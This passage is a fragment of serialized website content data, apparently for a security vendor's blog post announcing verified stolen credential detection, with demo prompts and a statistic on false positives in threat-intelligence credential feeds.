e":1570},{},[159856],{"data":159857,"content":159858,"nodeType":866},{},[159859],{"data":159860,"marks":159861,"value":156817,"nodeType":865},{},[],{"data":159863,"content":159864,"nodeType":866},{},[159865,159869,159872,159876],{"data":159866,"marks":159867,"value":156405,"nodeType":865},{},[159868],{"type":926},{"data":159870,"marks":159871,"value":156828,"nodeType":865},{},[],{"data":159873,"marks":159874,"value":58511,"nodeType":865},{},[159875],{"type":926},{"data":159877,"marks":159878,"value":156836,"nodeType":865},{},[],{"data":159880,"content":159881,"nodeType":1317},{},[159882],{"data":159883,"marks":159884,"value":156843,"nodeType":865},{},[],{"data":159886,"content":159887,"nodeType":866},{},[159888,159891,159895],{"data":159889,"marks":159890,"value":156850,"nodeType":865},{},[],{"data":159892,"marks":159893,"value":58363,"nodeType":865},{},[159894],{"type":926},{"data":159896,"marks":159897,"value":156858,"nodeType":865},{},[],{"data":159899,"content":159900,"nodeType":1616},{},[159901,159924],{"data":159902,"content":159903,"nodeType":1570},{},[159904],{"data":159905,"content":159906,"nodeType":866},{},[159907,159910,159914,159917,159921],{"data":159908,"marks":159909,"value":58577,"nodeType":865},{},[],{"data":159911,"marks":159912,"value":136538,"nodeType":865},{},[159913],{"type":926},{"data":159915,"marks":159916,"value":156878,"nodeType":865},{},[],{"data":159918,"marks":159919,"value":58363,"nodeType":865},{},[159920],{"type":926},{"data":159922,"marks":159923,"value":156886,"nodeType":865},{},[],{"data":159925,"content":159926,"nodeType":1570},{},[159927],{"data":159928,"content":159929,"nodeType":866},{},[159930],{"data":159931,"marks":159932,"value":156896,"nodeType":865},{},[],{"data":159934,"content":159935,"nodeType":866},{},[159936],{"data":159937,"marks":159938,"value":156903,"nodeType":865},{},[],{"data":159940,"content":159941,"nodeType":1317},{},[159942],{"data":159943,"marks":159944,"value":156910,"nodeType":865},{},[],{"data":159946,"content":159947,"nodeType":866},{},[159948],{"data":159949,"marks":159950,"value":156917,"nodeType":865},{},[],{"data":159952,"content":159953,"nodeType":866},{},[159954,159957,159961,159964,159970],{"data":159955,"marks":159956,"value":156924,"nodeType":865},{},[],{"data":159958,"marks":159959,"value":58511,"nodeType":865},{},[159960],{"type":926},{"data":159962,"marks":159963,"value":156932,"nodeType":865},{},[],{"data":159965,"content":159966,"nodeType":889},{"uri":58124},[159967],{"data":159968,"marks":159969,"value":156939,"nodeType":865},{},[],{"data":159971,"marks":159972,"value":156943,"nodeType":865},{},[],{"data":159974,"content":159977,"nodeType":912},{"target":159975},{"sys":159976},{"id":156948,"type":909,"linkType":910},[],{"data":159979,"content":159980,"nodeType":972},{},[],{"data":159982,"content":159983,"nodeType":981},{},[159984],{"data":159985,"marks":159986,"value":156959,"nodeType":865},{},[],{"data":159988,"content":159989,"nodeType":866},{},[159990],{"data":159991,"marks":159992,"value":156966,"nodeType":865},{},[],{"data":159994,"content":159995,"nodeType":866},{},[159996],{"data":159997,"marks":159998,"value":156973,"nodeType":865},{},[],{"data":160000,"content":160001,"nodeType":1616},{},[160002,160015,160028,160041,160054,160070,160083],{"data":160003,"content":160004,"nodeType":1570},{},[160005],{"data":160006,"content":160007,"nodeType":866},{},[160008,160012],{"data":160009,"marks":160010,"value":156987,"nodeType":865},{},[160011],{"type":926},{"data":160013,"marks":160014,"value":156991,"nodeType":865},{},[],{"data":160016,"content":160017,"nodeType":1570},{},[160018],{"data":160019,"content":160020,"nodeType":866},{},[160021,160025],{"data":160022,"marks":160023,"value":157002,"nodeType":865},{},[160024],{"type":926},{"data":160026,"marks":160027,"value":157006,"nodeType":865},{},[],{"data":160029,"content":160030,"nodeType":1570},{},[160031],{"data":160032,"content":160033,"nodeType":866},{},[160034,160038],{"data":160035,"marks":160036,"value":157017,"nodeType":865},{},[160037],{"type":926},{"data":160039,"marks":160040,"value":157021,"nodeType":865},{},[],{"data":160042,"content":160043,"nodeType":1570},{},[160044],{"data":160045,"content":160046,"nodeType":866},{},[160047,160051],{"data":160048,"marks":160049,"value":157032,"nodeType":865},{},[160050],{"type":926},{"data":160052,"marks":160053,"value":157036,"nodeType":865},{},[],{"data":160055,"content":160056,"nodeType":1570},{},[160057],{"data":160058,"content":160059,"nodeType":866},{},[160060,160063,160067],{"data":160061,"marks":160062,"value":157046,"nodeType":865},{},[],{"data":160064,"marks":160065,"value":157051,"nodeType":865},{},[160066],{"type":926},{"data":160068,"marks":160069,"value":157055,"nodeType":865},{},[],{"data":160071,"content":160072,"nodeType":1570},{},[160073],{"data":160074,"content":160075,"nodeType":866},{},[160076,160080],{"data":160077,"marks":160078,"value":157066,"nodeType":865},{},[160079],{"type":926},{"data":160081,"marks":160082,"value":157070,"nodeType":865},{},[],{"data":160084,"content":160085,"nodeType":1570},{},[160086],{"data":160087,"content":160088,"nodeType":866},{},[160089,160093],{"data":160090,"marks":160091,"value":157081,"nodeType":865},{},[160092],{"type":926},{"data":160094,"marks":160095,"value":157085,"nodeType":865},{},[],{"data":160097,"content":160098,"nodeType":866},{},[160099],{"data":160100,"marks":160101,"value":157092,"nodeType":865},{},[],{"data":160103,"content":160106,"nodeType":912},{"target":160104},{"sys":160105},{"id":157097,"type":909,"linkType":910},[],{"data":160108,"content":160109,"nodeType":866},{},[160110],{"data":160111,"marks":160112,"value":21,"nodeType":865},{},[],{"items":160114},[160115],{"sys":160116,"name":297},{"id":2310},{"items":160118},[160119],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":160120},{"url":6503},"blog/2024-identity-breaches",{"json":160123},{"data":160124,"content":160125,"nodeType":1382},{},[160126],{"data":160127,"content":160128,"nodeType":866},{},[160129],{"data":160130,"marks":160131,"value":149801,"nodeType":865},{},[],{"id":126179,"publishedAt":160133},"2026-08-12T11:54:37.036Z",{"items":160135},[160136],{"sys":160137,"name":7796},{"id":7795},{"items":160139},[160140,160142,160144,160146,160148,160150,160152,160154,160156,160158,160160,160162,160164,160166,160168],{"sys":160141,"name":413,"slug":414,"tier":31},{"id":410},{"sys":160143,"name":279,"slug":280,"tier":31},{"id":276},{"sys":160145,"name":642,"slug":643,"tier":31},{"id":639},{"sys":160147,"name":519,"slug":520,"tier":31},{"id":516},{"sys":160149,"name":333,"slug":334,"tier":45},{"id":330},{"sys":160151,"name":571,"slug":572,"tier":45},{"id":568},{"sys":160153,"name":466,"slug":467,"tier":45},{"id":463},{"sys":160155,"name":422,"slug":423,"tier":45},{"id":419},{"sys":160157,"name":537,"slug":538,"tier":45},{"id":534},{"sys":160159,"name":457,"slug":458,"tier":45},{"id":454},{"sys":160161,"name":528,"slug":529,"tier":45},{"id":525},{"sys":160163,"name":484,"slug":485,"tier":45},{"id":481},{"sys":160165,"name":607,"slug":608,"tier":45},{"id":604},{"sys":160167,"name":324,"slug":325,"tier":45},{"id":321},{"sys":160169,"name":502,"slug":503,"tier":45},{"id":499},"VKsWCNKqzgmNE7XqbeneH2izG7XkHw5SQLg2SCLeDzY",{"id":160172,"title":87627,"authorsCollection":160173,"content":160177,"extension":228,"faqItemsCollection":160863,"faqTitle":59,"featured":6,"hashTags":59,"meta":160865,"metaTitle":160866,"ogImage":160867,"postType":87741,"publishedDate":158449,"relatedBlogPostsCollection":160869,"slug":87628,"stem":163108,"subtitle":59,"summary":163109,"synopsis":158448,"sys":163120,"tagsCollection":163122,"topicsCollection":163128,"__hash__":163146},"blog/blog/verified-stolen-credential-detection.json",{"items":160174},[160175],{"fullName":6500,"firstName":6501,"jobTitle":4616,"socialLinks":59,"profilePicture":160176},{"url":6503},{"json":160178,"links":160779},{"data":160179,"content":160180,"nodeType":1382},{},[160181,160186,160189,160202,160208,160214,160219,160225,160241,160256,160262,160267,160273,160276,160282,160288,160294,160300,160306,160312,160341,160346,160352,160355,160361,160367,160465,160471,160487,160493,160509,160515,160532,160538,160554,160557,160563,160569,160575,160601,160607,160613,160628,160633,160639,160645,160650,160656,160713,160719,160725,160731,160737,160743,160746,160752,160768,160773],{"data":160182,"content":160185,"nodeType":912},{"target":160183},{"sys":160184},{"id":157763,"type":909,"linkType":910},[],{"data":160187,"content":160188,"nodeType":972},{},[],{"data":160190,"content":160191,"nodeType":866},{},[160192,160195,160199],{"data":160193,"marks":160194,"value":157774,"nodeType":865},{},[],{"data":160196,"marks":160197,"value":157779,"nodeType":865},{},[160198],{"type":898},{"data":160200,"marks":160201,"value":157783,"nodeType":865},{},[],{"data":160203,"content":160204,"nodeType":866},{},[160205],{"data":160206,"marks":160207,"value":157790,"nodeType":865},{},[],{"data":160209,"content":160210,"nodeType":866},{},[160211],{"data":160212,"marks":160213,"value":157797,"nodeType":865},{},[],{"data":160215,"content":160218,"nodeType":912},{"target":160216},{"sys":160217},{"id":157802,"type":909,"linkType":910},[],{"data":160220,"content":160221,"nodeType":866},{},[160222],{"data":160223,"marks":160224,"value":157810,"nodeType":865},{},[],{"data":160226,"content":160227,"nodeType":7584},{},[160228],{"data":160229,"content":160230,"nodeType":866},{},[160231,160234,160238],{"data":160232,"marks":160233,"value":157820,"nodeType":865},{},[],{"data":160235,"marks":160236,"value":157825,"nodeType":865},{},[160237],{"type":926},{"data":160239,"marks":160240,"value":6719,"nodeType":865},{},[],{"data":160242,"content":160243,"nodeType":866},{},[160244,160247,160253],{"data":160245,"marks":160246,"value":157835,"nodeType":865},{},[],{"data":160248,"content":160249,"nodeType":889},{"uri":157838},[160250],{"data":160251,"marks":160252,"value":157843,"nodeType":865},{},[],{"data":160254,"marks":160255,"value":157847,"nodeType":865},{},[],{"data":160257,"content":160258,"nodeType":866},{},[160259],{"data":160260,"marks":160261,"value":157854,"nodeType":865},{},[],{"data":160263,"content":160266,"nodeType":912},{"target":160264},{"sys":160265},{"id":157859,"type":909,"linkType":910},[],{"data":160268,"content":160269,"nodeType":866},{},[160270],{"data":160271,"marks":160272,"value":157867,"nodeType":865},{},[],{"data":160274,"content":160275,"nodeType":972},{},[],{"data":160277,"content":160278,"nodeType":981},{},[160279],{"data":160280,"marks":160281,"value":157877,"nodeType":865},{},[],{"data":160283,"content":160284,"nodeType":866},{},[160285],{"data":160286,"marks":160287,"value":157884,"nodeType":865},{},[],{"data":160289,"content":160290,"nodeType":866},{},[160291],{"data":160292,"marks":160293,"value":157891,"nodeType":865},{},[],{"data":160295,"content":160296,"nodeType":1317},{},[160297],{"data":160298,"marks":160299,"value":157898,"nodeType":865},{},[],{"data":160301,"content":160302,"nodeType":866},{},[160303],{"data":160304,"marks":160305,"value":157905,"nodeType":865},{},[],{"data":160307,"content":160308,"nodeType":866},{},[160309],{"data":160310,"marks":160311,"value":157912,"nodeType":865},{},[],{"data":160313,"content":160314,"nodeType":1616},{},[160315,160328],{"data":160316,"content":160317,"nodeType":1570},{},[160318],{"data":160319,"content":160320,"nodeType":866},{},[160321,160325],{"data":160322,"marks":160323,"value":157926,"nodeType":865},{},[160324],{"type":926},{"data":160326,"marks":160327,"value":157930,"nodeType":865},{},[],{"data":160329,"content":160330,"nodeType":1570},{},[160331],{"data":160332,"content":160333,"nodeType":866},{},[160334,160338],{"data":160335,"marks":160336,"value":157941,"nodeType":865},{},[160337],{"type":926},{"data":160339,"marks":160340,"value":157945,"nodeType":865},{},[],{"data":160342,"content":160345,"nodeType":912},{"target":160343},{"sys":160344},{"id":157950,"type":909,"linkType":910},[],{"data":160347,"content":160348,"nodeType":866},{},[160349],{"data":160350,"marks":160351,"value":157958,"nodeType":865},{},[],{"data":160353,"content":160354,"nodeType":972},{},[],{"data":160356,"content":160357,"nodeType":981},{},[160358],{"data":160359,"marks":160360,"value":157968,"nodeType":865},{},[],{"data":160362,"content":160363,"nodeType":866},{},[160364],{"data":160365,"marks":160366,"value":157975,"nodeType":865},{},[],{"data":160368,"content":160369,"nodeType":1616},{},[160370,160389,160408,160427,160456],{"data":160371,"content":160372,"nodeType":1570},{},[160373],{"data":160374,"content":160375,"nodeType":866},{},[160376,160379,160386],{"data":160377,"marks":160378,"value":1449,"nodeType":865},{},[],{"data":160380,"content":160381,"nodeType":889},{"uri":4147},[160382],{"data":160383,"marks":160384,"value":157995,"nodeType":865},{},[160385],{"type":943},{"data":160387,"marks":160388,"value":157999,"nodeType":865},{},[],{"data":160390,"content":160391,"nodeType":1570},{},[160392],{"data":160393,"content":160394,"nodeType":866},{},[160395,160398,160405],{"data":160396,"marks":160397,"value":21,"nodeType":865},{},[],{"data":160399,"content":160400,"nodeType":889},{"uri":158011},[160401],{"data":160402,"marks":160403,"value":158017,"nodeType":865},{},[160404],{"type":943},{"data":160406,"marks":160407,"value":158021,"nodeType":865},{},[],{"data":160409,"content":160410,"nodeType":1570},{},[160411],{"data":160412,"content":160413,"nodeType":866},{},[160414,160417,160424],{"data":160415,"marks":160416,"value":158031,"nodeType":865},{},[],{"data":160418,"content":160419,"nodeType":889},{"uri":158034},[160420],{"data":160421,"marks":160422,"value":158040,"nodeType":865},{},[160423],{"type":943},{"data":160425,"marks":160426,"value":158044,"nodeType":865},{},[],{"data":160428,"content":160429,"nodeType":1570},{},[160430],{"data":160431,"content":160432,"nodeType":866},{},[160433,160436,160443,160446,160453],{"data":160434,"marks":160435,"value":158054,"nodeType":865},{},[],{"data":160437,"content":160438,"nodeType":889},{"uri":158057},[160439],{"data":160440,"marks":160441,"value":158063,"nodeType":865},{},[160442],{"type":943},{"data":160444,"marks":160445,"value":158067,"nodeType":865},{},[],{"data":160447,"content":160448,"nodeType":889},{"uri":158070},[160449],{"data":160450,"marks":160451,"value":158076,"nodeType":865},{},[160452],{"type":943},{"data":160454,"marks":160455,"value":158080,"nodeType":865},{},[],{"data":160457,"content":160458,"nodeType":1570},{},[160459],{"data":160460,"content":160461,"nodeType":866},{},[160462],{"data":160463,"marks":160464,"value":158090,"nodeType":865},{},[],{"data":160466,"content":160467,"nodeType":866},{},[160468],{"data":160469,"marks":160470,"value":158097,"nodeType":865},{},[],{"data":160472,"content":160473,"nodeType":866},{},[160474,160477,160484],{"data":160475,"marks":160476,"value":21,"nodeType":865},{},[],{"data":160478,"content":160479,"nodeType":889},{"uri":158011},[160480],{"data":160481,"marks":160482,"value":158111,"nodeType":865},{},[160483],{"type":943},{"data":160485,"marks":160486,"value":158115,"nodeType":865},{},[],{"data":160488,"content":160489,"nodeType":1317},{},[160490],{"data":160491,"marks":160492,"value":158122,"nodeType":865},{},[],{"data":160494,"content":160495,"nodeType":866},{},[160496,160499,160506],{"data":160497,"marks":160498,"value":158129,"nodeType":865},{},[],{"data":160500,"content":160501,"nodeType":889},{"uri":132077},[160502],{"data":160503,"marks":160504,"value":158137,"nodeType":865},{},[160505],{"type":943},{"data":160507,"marks":160508,"value":1615,"nodeType":865},{},[],{"data":160510,"content":160511,"nodeType":866},{},[160512],{"data":160513,"marks":160514,"value":158147,"nodeType":865},{},[],{"data":160516,"content":160517,"nodeType":866},{},[160518,160521,160529],{"data":160519,"marks":160520,"value":158154,"nodeType":865},{},[],{"data":160522,"content":160523,"nodeType":889},{"uri":110363},[160524],{"data":160525,"marks":160526,"value":158163,"nodeType":865},{},[160527,160528],{"type":943},{"type":926},{"data":160530,"marks":160531,"value":158167,"nodeType":865},{},[],{"data":160533,"content":160534,"nodeType":866},{},[160535],{"data":160536,"marks":160537,"value":158174,"nodeType":865},{},[],{"data":160539,"content":160540,"nodeType":866},{},[160541,160544,160551],{"data":160542,"marks":160543,"value":158181,"nodeType":865},{},[],{"data":160545,"content":160546,"nodeType":889},{"uri":6698},[160547],{"data":160548,"marks":160549,"value":135868,"nodeType":865},{},[160550],{"type":943},{"data":160552,"marks":160553,"value":158192,"nodeType":865},{},[],{"data":160555,"content":160556,"nodeType":972},{},[],{"data":160558,"content":160559,"nodeType":981},{},[160560],{"data":160561,"marks":160562,"value":158202,"nodeType":865},{},[],{"data":160564,"content":160565,"nodeType":866},{},[160566],{"data":160567,"marks":160568,"value":158209,"nodeType":865},{},[],{"data":160570,"content":160571,"nodeType":866},{},[160572],{"data":160573,"marks":160574,"value":158216,"nodeType":865},{},[],{"data":160576,"content":160577,"nodeType":866},{},[160578,160581,160588,160591,160598],{"data":160579,"marks":160580,"value":158223,"nodeType":865},{},[],{"data":160582,"content":160583,"nodeType":889},{"uri":13849},[160584],{"data":160585,"marks":160586,"value":158231,"nodeType":865},{},[160587],{"type":943},{"data":160589,"marks":160590,"value":158235,"nodeType":865},{},[],{"data":160592,"content":160593,"nodeType":889},{"uri":136312},[160594],{"data":160595,"marks":160596,"value":158243,"nodeType":865},{},[160597],{"type":943},{"data":160599,"marks":160600,"value":158247,"nodeType":865},{},[],{"data":160602,"content":160603,"nodeType":866},{},[160604],{"data":160605,"marks":160606,"value":158254,"nodeType":865},{},[],{"data":160608,"content":160609,"nodeType":866},{},[160610],{"data":160611,"marks":160612,"value":158261,"nodeType":865},{},[],{"data":160614,"content":160615,"nodeType":866},{},[160616,160619,160625],{"data":160617,"marks":160618,"value":158268,"nodeType":865},{},[],{"data":160620,"content":160621,"nodeType":889},{"uri":3488},[160622],{"data":160623,"marks":160624,"value":158275,"nodeType":865},{},[],{"data":160626,"marks":160627,"value":158279,"nodeType":865},{},[],{"data":160629,"content":160632,"nodeType":912},{"target":160630},{"sys":160631},{"id":158284,"type":909,"linkType":910},[],{"data":160634,"content":160635,"nodeType":1317},{},[160636],{"data":160637,"marks":160638,"value":158292,"nodeType":865},{},[],{"data":160640,"content":160641,"nodeType":866},{},[160642],{"data":160643,"marks":160644,"value":158299,"nodeType":865},{},[],{"data":160646,"content":160649,"nodeType":912},{"target":160647},{"sys":160648},{"id":158304,"type":909,"linkType":910},[],{"data":160651,"content":160652,"nodeType":866},{},[160653],{"data":160654,"marks":160655,"value":158312,"nodeType":865},{},[],{"data":160657,"content":160658,"nodeType":1616},{},[160659,160677,160686,160695,160704],{"data":160660,"content":160661,"nodeType":1570},{},[160662],{"data":160663,"content":160664,"nodeType":866},{},[160665,160668,160674],{"data":160666,"marks":160667,"value":158325,"nodeType":865},{},[],{"data":160669,"content":160670,"nodeType":889},{"uri":158328},[160671],{"data":160672,"marks":160673,"value":157843,"nodeType":865},{},[],{"data":160675,"marks":160676,"value":6719,"nodeType":865},{},[],{"data":160678,"content":160679,"nodeType":1570},{},[160680],{"data":160681,"content":160682,"nodeType":866},{},[160683],{"data":160684,"marks":160685,"value":158345,"nodeType":865},{},[],{"data":160687,"content":160688,"nodeType":1570},{},[160689],{"data":160690,"content":160691,"nodeType":866},{},[160692],{"data":160693,"marks":160694,"value":158355,"nodeType":865},{},[],{"data":160696,"content":160697,"nodeType":1570},{},[160698],{"data":160699,"content":160700,"nodeType":866},{},[160701],{"data":160702,"marks":160703,"value":158365,"nodeType":865},{},[],{"data":160705,"content":160706,"nodeType":1570},{},[160707],{"data":160708,"content":160709,"nodeType":866},{},[160710],{"data":160711,"marks":160712,"value":123965,"nodeType":865},{},[],{"data":160714,"content":160715,"nodeType":866},{},[160716],{"data":160717,"marks":160718,"value":158381,"nodeType":865},{},[],{"data":160720,"content":160721,"nodeType":866},{},[160722],{"data":160723,"marks":160724,"value":158388,"nodeType":865},{},[],{"data":160726,"content":160727,"nodeType":1317},{},[160728],{"data":160729,"marks":160730,"value":158395,"nodeType":865},{},[],{"data":160732,"content":160733,"nodeType":866},{},[160734],{"data":160735,"marks":160736,"value":158402,"nodeType":865},{},[],{"data":160738,"content":160739,"nodeType":866},{},[160740],{"data":160741,"marks":160742,"value":158409,"nodeType":865},{},[],{"data":160744,"content":160745,"nodeType":972},{},[],{"data":160747,"content":160748,"nodeType":981},{},[160749],{"data":160750,"marks":160751,"value":158419,"nodeType":865},{},[],{"data":160753,"content":160754,"nodeType":866},{},[160755,160758,160765],{"data":160756,"marks":160757,"value":158426,"nodeType":865},{},[],{"data":160759,"content":160760,"nodeType":889},{"uri":16069},[160761],{"data":160762,"marks":160763,"value":149797,"nodeType":865},{},[160764],{"type":943},{"data":160766,"marks":160767,"value":14251,"nodeType":865},{},[],{"data":160769,"content":160772,"nodeType":912},{"target":160770},{"sys":160771},{"id":62401,"type":909,"linkType":910},[],{"data":160774,"content":160775,"nodeType":866},{},[160776],{"data":160777,"marks":160778,"value":21,"nodeType":865},{},[],{"entries":160780},{"hyperlink":160781,"inline":160782,"block":160783},[],[],[160784,160790,160817,160823,160848,160853,160860],{"sys":160785,"__typename":131392,"title":160786,"youTubeUrl":160787,"imagePlaceholder":160788},{"id":157763},"Feature release video: Verified stolen credential detection","https://youtu.be/r495-LOM5yk?si=TJW2tD90p2GDhcOs",{"url":160789,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/4rLviLJBsHZ8C1DCK37nZq/051eb54c244784f1662fd166568f4423/Youtube_Video_Thumbnail_V1__1_.png",{"sys":160791,"__typename":5503,"content":160792,"name":160816,"title":59},{"id":157802},{"json":160793},{"nodeType":1382,"data":160794,"content":160795},{},[160796],{"nodeType":866,"data":160797,"content":160798},{},[160799,160803,160807,160812],{"nodeType":865,"value":160800,"marks":160801,"data":160802},"A",[],{},{"nodeType":865,"value":160804,"marks":160805,"data":160806}," recent review of TI data by Push researchers found that ",[],{},{"nodeType":865,"value":160808,"marks":160809,"data":160811},"less than 1% of stolen credentials",[160810],{"type":926},{},{"nodeType":865,"value":160813,"marks":160814,"data":160815}," included in threat intelligence feeds from a multi-vendor data set was actionable.",[],{},"TI feed insight block",{"sys":160818,"__typename":1390,"title":160819,"caption":160819,"layoutMode":59,"file":160820},{"id":157859},"Picture is for advertising purposes only. Push customers will not receive a 30-ton TI trommel wash plant.",{"url":160821,"width":136699,"height":160822},"https://images.ctfassets.net/y1cdw1ablpvd/3YA8FHrChrqMZyN14tURQI/052ead85b614f12ebc9afa7a3fa543fe/image2.png",874,{"sys":160824,"__typename":5503,"content":160825,"name":160847,"title":59},{"id":157950},{"json":160826},{"data":160827,"content":160828,"nodeType":1382},{},[160829,160841],{"data":160830,"content":160831,"nodeType":866},{},[160832,160836],{"data":160833,"marks":160834,"value":160835,"nodeType":865},{},[],"In evaluating threat intelligence data recently at Push, our researchers analyzed 5,763 username and password combinations that matched domains in use by Push customers. We found that less than 1% of the credentials in the multi-vendor dataset were true positives — meaning that the suspected stolen credentials were still in use by employees at those organizations. ",{"data":160837,"marks":160838,"value":160840,"nodeType":865},{},[160839],{"type":926},"In other words, 99.5% of the stolen credentials we checked were false positives at the time of review.",{"data":160842,"content":160843,"nodeType":866},{},[160844],{"data":160845,"marks":160846,"value":33479,"nodeType":865},{},[],"TI feed insight box 2",{"sys":160849,"__typename":1414,"type":160850,"ctaText":160851,"buttonLabel":160852,"buttonColour":148156,"buttonUrl":16069},{"id":158284},"Demo","Get a demo of verified stolen credential detection and more","Book Demo",{"sys":160854,"__typename":1390,"title":160855,"caption":160856,"layoutMode":59,"file":160857},{"id":158304},"Stolen credentials TI graphic","How Push verifies stolen credentials from TI sources",{"url":160858,"width":160859,"height":136687},"https://images.ctfassets.net/y1cdw1ablpvd/1D5QMZSOHWL20J7ooV2Mqt/bd89638611257c8540259d4b03ac9863/Stolen_credentials_data_flow_illustration.png",7680,{"sys":160861,"__typename":1414,"type":160850,"ctaText":160862,"buttonLabel":160852,"buttonColour":1418,"buttonUrl":1372},{"id":62401},"Book a demo to see how Push helps you detect and prevent account takeover and reduce your identity attack surface",{"items":160864},[],{},"Announcing Push's new verified stolen credential feature",{"url":160868},"https://images.ctfassets.net/y1cdw1ablpvd/72EDjx33pCpWgUCTkaiEzu/7d7b95ade25ee0cf9ba547b4b3d95036/Stolen-credentials-v6.png",{"items":160870},[160871,161571,161954],{"__typename":1429,"sys":160872,"content":160873,"title":62409,"synopsis":62410,"hashTags":59,"publishedDate":62411,"slug":62412,"tagsCollection":161563,"authorsCollection":161567},{"id":61617},{"json":160874},{"data":160875,"content":160876,"nodeType":1382},{},[160877,160882,160898,160904,160910,160915,160918,160925,160931,160947,160957,160963,160969,160975,161059,161062,161069,161144,161149,161152,161159,161166,161172,161178,161185,161201,161207,161214,161220,161226,161233,161239,161245,161261,161266,161269,161276,161283,161289,161378,161384,161391,161397,161403,161408,161415,161421,161427,161433,161440,161446,161452,161458,161464,161469,161472,161479,161485,161515,161521,161536,161552,161557],{"data":160878,"content":160881,"nodeType":912},{"target":160879},{"sys":160880},{"id":61626,"type":909,"linkType":910},[],{"data":160883,"content":160884,"nodeType":866},{},[160885,160888,160895],{"data":160886,"marks":160887,"value":61634,"nodeType":865},{},[],{"data":160889,"content":160890,"nodeType":889},{"uri":61637},[160891],{"data":160892,"marks":160893,"value":61643,"nodeType":865},{},[160894],{"type":943},{"data":160896,"marks":160897,"value":61647,"nodeType":865},{},[],{"data":160899,"content":160900,"nodeType":866},{},[160901],{"data":160902,"marks":160903,"value":61654,"nodeType":865},{},[],{"data":160905,"content":160906,"nodeType":866},{},[160907],{"data":160908,"marks":160909,"value":61661,"nodeType":865},{},[],{"data":160911,"content":160914,"nodeType":912},{"target":160912},{"sys":160913},{"id":61666,"type":909,"linkType":910},[],{"data":160916,"content":160917,"nodeType":972},{},[],{"data":160919,"content":160920,"nodeType":981},{},[160921],{"data":160922,"marks":160923,"value":61678,"nodeType":865},{},[160924],{"type":926},{"data":160926,"content":160927,"nodeType":866},{},[160928],{"data":160929,"marks":160930,"value":61685,"nodeType":865},{},[],{"data":160932,"content":160933,"nodeType":866},{},[160934,160937,160944],{"data":160935,"marks":160936,"value":61692,"nodeType":865},{},[],{"data":160938,"content":160939,"nodeType":889},{"uri":15841},[160940],{"data":160941,"marks":160942,"value":61700,"nodeType":865},{},[160943],{"type":943},{"data":160945,"marks":160946,"value":14251,"nodeType":865},{},[],{"data":160948,"content":160949,"nodeType":7584},{},[160950],{"data":160951,"content":160952,"nodeType":866},{},[160953],{"data":160954,"marks":160955,"value":61714,"nodeType":865},{},[160956],{"type":926},{"data":160958,"content":160959,"nodeType":866},{},[160960],{"data":160961,"marks":160962,"value":61721,"nodeType":865},{},[],{"data":160964,"content":160965,"nodeType":866},{},[160966],{"data":160967,"marks":160968,"value":61728,"nodeType":865},{},[],{"data":160970,"content":160971,"nodeType":866},{},[160972],{"data":160973,"marks":160974,"value":61735,"nodeType":865},{},[],{"data":160976,"content":160977,"nodeType":1616},{},[160978,160987,160996,161005,161014,161023,161032,161041,161050],{"data":160979,"content":160980,"nodeType":1570},{},[160981],{"data":160982,"content":160983,"nodeType":866},{},[160984],{"data":160985,"marks":160986,"value":61748,"nodeType":865},{},[],{"data":160988,"content":160989,"nodeType":1570},{},[160990],{"data":160991,"content":160992,"nodeType":866},{},[160993],{"data":160994,"marks":160995,"value":61758,"nodeType":865},{},[],{"data":160997,"content":160998,"nodeType":1570},{},[160999],{"data":161000,"content":161001,"nodeType":866},{},[161002],{"data":161003,"marks":161004,"value":61768,"nodeType":865},{},[],{"data":161006,"content":161007,"nodeType":1570},{},[161008],{"data":161009,"content":161010,"nodeType":866},{},[161011],{"data":161012,"marks":161013,"value":61778,"nodeType":865},{},[],{"data":161015,"content":161016,"nodeType":1570},{},[161017],{"data":161018,"content":161019,"nodeType":866},{},[161020],{"data":161021,"marks":161022,"value":61788,"nodeType":865},{},[],{"data":161024,"content":161025,"nodeType":1570},{},[161026],{"data":161027,"content":161028,"nodeType":866},{},[161029],{"data":161030,"marks":161031,"value":61798,"nodeType":865},{},[],{"data":161033,"content":161034,"nodeType":1570},{},[161035],{"data":161036,"content":161037,"nodeType":866},{},[161038],{"data":161039,"marks":161040,"value":61808,"nodeType":865},{},[],{"data":161042,"content":161043,"nodeType":1570},{},[161044],{"data":161045,"content":161046,"nodeType":866},{},[161047],{"data":161048,"marks":161049,"value":61818,"nodeType":865},{},[],{"data":161051,"content":161052,"nodeType":1570},{},[161053],{"data":161054,"content":161055,"nodeType":866},{},[161056],{"data":161057,"marks":161058,"value":61828,"nodeType":865},{},[],{"data":161060,"content":161061,"nodeType":972},{},[],{"data":161063,"content":161064,"nodeType":981},{},[161065],{"data":161066,"marks":161067,"value":61839,"nodeType":865},{},[161068],{"type":926},{"data":161070,"content":161071,"nodeType":1616},{},[161072,161081,161090,161099,161108,161117,161126,161135],{"data":161073,"content":161074,"nodeType":1570},{},[161075],{"data":161076,"content":161077,"nodeType":866},{},[161078],{"data":161079,"marks":161080,"value":61852,"nodeType":865},{},[],{"data":161082,"content":161083,"nodeType":1570},{},[161084],{"data":161085,"content":161086,"nodeType":866},{},[161087],{"data":161088,"marks":161089,"value":61862,"nodeType":865},{},[],{"data":161091,"content":161092,"nodeType":1570},{},[161093],{"data":161094,"content":161095,"nodeType":866},{},[161096],{"data":161097,"marks":161098,"value":61872,"nodeType":865},{},[],{"data":161100,"content":161101,"nodeType":1570},{},[161102],{"data":161103,"content":161104,"nodeType":866},{},[161105],{"data":161106,"marks":161107,"value":61882,"nodeType":865},{},[],{"data":161109,"content":161110,"nodeType":1570},{},[161111],{"data":161112,"content":161113,"nodeType":866},{},[161114],{"data":161115,"marks":161116,"value":61892,"nodeType":865},{},[],{"data":161118,"content":161119,"nodeType":1570},{},[161120],{"data":161121,"content":161122,"nodeType":866},{},[161123],{"data":161124,"marks":161125,"value":61902,"nodeType":865},{},[],{"data":161127,"content":161128,"nodeType":1570},{},[161129],{"data":161130,"content":161131,"nodeType":866},{},[161132],{"data":161133,"marks":161134,"value":61912,"nodeType":865},{},[],{"data":161136,"content":161137,"nodeType":1570},{},[161138],{"data":161139,"content":161140,"nodeType":866},{},[161141],{"data":161142,"marks":161143,"value":61922,"nodeType":865},{},[],{"data":161145,"content":161148,"nodeType":912},{"target":161146},{"sys":161147},{"id":61927,"type":909,"linkType":910},[],{"data":161150,"content":161151,"nodeType":972},{},[],{"data":161153,"content":161154,"nodeType":981},{},[161155],{"data":161156,"marks":161157,"value":61939,"nodeType":865},{},[161158],{"type":926},{"data":161160,"content":161161,"nodeType":1317},{},[161162],{"data":161163,"marks":161164,"value":61947,"nodeType":